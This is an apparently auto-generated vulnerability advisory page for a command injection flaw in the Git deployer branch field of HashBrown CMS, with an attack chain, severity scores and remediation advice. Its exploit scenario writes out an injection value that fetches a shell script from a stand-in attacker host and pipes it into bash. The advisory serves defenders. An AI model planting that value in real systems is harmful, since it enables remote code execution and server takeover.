Skip to main content

HashBrown CMS CVE-2026-70375

| EUVDEUVD-2026-53098 HIGH
OS Command Injection (CWE-78)
2026-08-05 TuranSec GHSA-h9gr-58w4-64cq
8.8
CVSS 3.1 · Vendor: TuranSec
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to HashBrown CMS with low-privilege account
  2. Delivery
    Access target project Git deployer configuration
  3. Exploit
    Set branch field to 'master;<payload>#' bypassing single-quote filter
  4. Install
    Save configuration (no immediate execution)
  5. C2
    Any user triggers a deployer operation (media upload or content save)
  6. Execute
    pullRepo() executes unescaped git checkout shell command
  7. Impact
    Injected OS command runs as web server process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid HashBrown CMS user account with sufficient project-level permissions to read and modify a project's Git deployer configuration, specifically the branch field in the deployer settings panel. The Git deployer integration must be configured and active for at least one project - projects using other deployer types or no deployer are not affected. After planting the payload, the attacker need not take any further action; any subsequent deployer operation triggered by any user (including administrators) will invoke pullRepo() and execute the injected command. Exploitation is concretely limited by: (1) the attacker must possess valid CMS credentials with project configuration rights, ruling out unauthenticated external attackers; (2) the target project must actively use the Git deployer; (3) the injectable characters are limited to metacharacters other than single-quote - payloads cannot use single-quote characters as they are blocked by GitDeployer.validate(), so command strings relying on single-quoted shell arguments must use alternative quoting or encoding.

Impact

The CVSS 3.1 score of 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately represents the technical severity: the attack is network-reachable, requires no complex conditions, and yields full confidentiality, integrity, and availability impact on the server. The primary real-world risk limiter is PR:L - exploitation requires a valid authenticated CMS account with the ability to modify project-level Git deployer settings, which is not a capability granted to the lowest-privilege users in a well-administered deployment. No EPSS score was provided in the available data, preventing quantitative exploitation probability assessment. The vulnerability carries no CISA KEV listing, and no public exploit code has been identified, suggesting it has not yet been widely weaponized despite being reported by TuranSec with an advisory. Risk is materially elevated in multi-tenant CMS environments or SaaS deployments where editor-level users control deployer configuration, and substantially lower in tightly access-controlled single-tenant installations. The persistence of the payload - executing on every future deployer operation by any user - amplifies impact compared to single-shot injection vulnerabilities. The clear lineage to CVE-2020-6948 demonstrates that this code has been targeted before, increasing the credibility of future exploit development.

Exploit ScenarioDerived

An authenticated CMS user with project configuration access navigates to the Git deployer settings and sets the branch field to a value such as master;curl http://attacker.example/shell.sh|bash

- the trailing hash comments out any trailing git arguments, preventing parse errors. On the next deployer operation triggered by any user action such as a media upload or content publish, HashBrown CMS invokes git checkout master;curl http://attacker.example/shell.sh|bash

as a shell command, executing the injected payload with the privileges of the web server process. No public exploit code has been identified, but the injection requires no special tooling - a standard browser, CMS credentials, and knowledge of the branch field location are sufficient.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

OS command injection in HashBrown CMS through version 1.4.6 allows any authenticated user with project configuration access to execute arbitrary OS commands on the server by embedding shell metacharacters in the Git deployer's branch field - an attack surface left exposed by the incomplete remediation of CVE-2020-6948, which fixed single-quote injection in git clone fields but not the branch parameter in the git checkout invocation. GitDeployer.validate() blocks only single-quote characters, leaving semicolons, pipes, ampersands, backticks, and command substitution syntax freely injectable; once planted, the malicious branch value fires automatically on every subsequent deployer operation (media upload, content save) without further attacker interaction. No public exploit code or confirmed active exploitation has been identified at time of analysis, but the attack is mechanistically trivial given the complete absence of metacharacter filtering.

RemediationAI

No vendor-released patched version has been identified at time of analysis. The TuranSec advisory at https://cve.turansec.uz/advisories/TRN-B571F773 and the upstream repository at https://github.com/HashBrownCMS/hashbrown-cms should be monitored for patch releases. Until a fix is available, the most effective compensating control is to restrict Git deployer configuration access exclusively to fully trusted administrators via role and permission settings, preventing editor-level or untrusted users from modifying the branch field. If the Git deployer feature is not actively required, disabling it entirely eliminates the attack surface with no functional impact for non-Git workflows. For deployments where Git deployment is necessary, a custom server-side allowlist validating the branch field against a strict regex (e.g., permitting only alphanumeric characters, hyphens, forward slashes, and underscores) can be applied as a code-level patch to GitDeployer.validate() - note this may reject legitimate branch names containing dots or other special characters and requires careful testing. Shell-quoting the branch interpolation (wrapping in single quotes and escaping any embedded single quotes) in the AppService.exec call is the correct structural fix, consistent with the approach applied to other fields in CVE-2020-6948.

Affected VersionsENISA

hashbrown-cms 0 ≤1.4.6

Affected Packages

euvd hashbrown_cms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HashBrown CMS is an open-source headless CMS whose Git deployer component synchronizes content to remote repositories. The vulnerability resides in src/Server/Entity/Deployer/GitDeployer.js within the pullRepo() function, which constructs a shell command via JavaScript template literal interpolation: AppService.exec(git checkout ${this.branch || 'master'}). Because this.branch originates from user-controlled project configuration and is embedded without quoting or escaping into a shell invocation, CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) applies directly. The validate() method provides a false sense of security: it blocks the single-quote character in repo, branch, username, and password fields, but this allowlist-by-exclusion approach misses the full shell metacharacter set. This is a lineage vulnerability - CVE-2020-6948 previously addressed single-quote injection in the same file's git clone call for the repo, username, and password fields; the branch field in the git checkout command was architecturally identical but not covered, leaving the injection surface intact. The CPE cpe:2.3:a:hashbrowncms:hashbrown-cms:*:*:*:*:*:*:*:* confirms all hashbrown-cms releases up to and including 1.4.6 are affected.

Know when Hashbrown Cms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TuranSec) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

PR:L reflects the requirement for a valid CMS account with project configuration rights; AV:N for the web-accessible application; S:U as impact is contained to the server process running HashBrown CMS.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (TuranSec).

CVSS VectorVendor: TuranSec

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Aug 05, 2026 - 13:37 NVD
8.8 (HIGH)
CVE Published
Aug 05, 2026 - 05:46 cve.org
UNKNOWN (no severity yet)
CVE Published
Aug 05, 2026 - 05:46 cve.org
HIGH 8.8

DescriptionCVE.org

HashBrown CMS through 1.4.6 contains an OS Command Injection vulnerability (CWE-78) in the Git deployer component. GitDeployer.pullRepo() in src/Server/Entity/Deployer/GitDeployer.js executes AppService.exec(git checkout ${this.branch || 'master'}), interpolating the configured branch value directly into a shell command with no escaping. GitDeployer.validate() only rejects a single-quote character in the repo, branch, username, and password fields; shell metacharacters such as ';', '&&', '|', backticks, and '$()' are not filtered. A user able to configure a project's Git deployer settings can set a malicious branch value (e.g. 'master;<command>#') that executes automatically on every subsequent deployer operation (media upload, content save, etc.), since pullRepo() is invoked unconditionally at the start of each such operation. This is related to CVE-2020-6948, which addressed single-quote escaping of the repo, username, and password fields in the same file's git clone invocation; the branch field used in the unquoted git checkout command was not covered by that fix and remains injectable.

Executive ViewAI

Why It Matters

HashBrown CMS through version 1.4.6 is vulnerable to OS command injection affecting any authenticated user with project configuration access, who can execute arbitrary operating system commands on the hosting server. This exposes organizations to complete server compromise and data theft through internal user threats or accounts compromised by external attackers. Organizations deploying HashBrown CMS must immediately restrict access and await a vendor security patch.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Git deployer and project configuration access to minimal trusted administrators; (2) Enable comprehensive audit logging for all deployment operations with real-time alerting on configuration changes; (3) Implement network segmentation to isolate HashBrown CMS instances; (4) Monitor deployment logs for exploitation indicators including shell metacharacters in branch field values.

Threat Intelligence Overview

EPSS Score
0.6%
Top 55% exploitable
Prevalence
Low
niche open-source headless CMS with limited enterprise production footprint
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.6%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy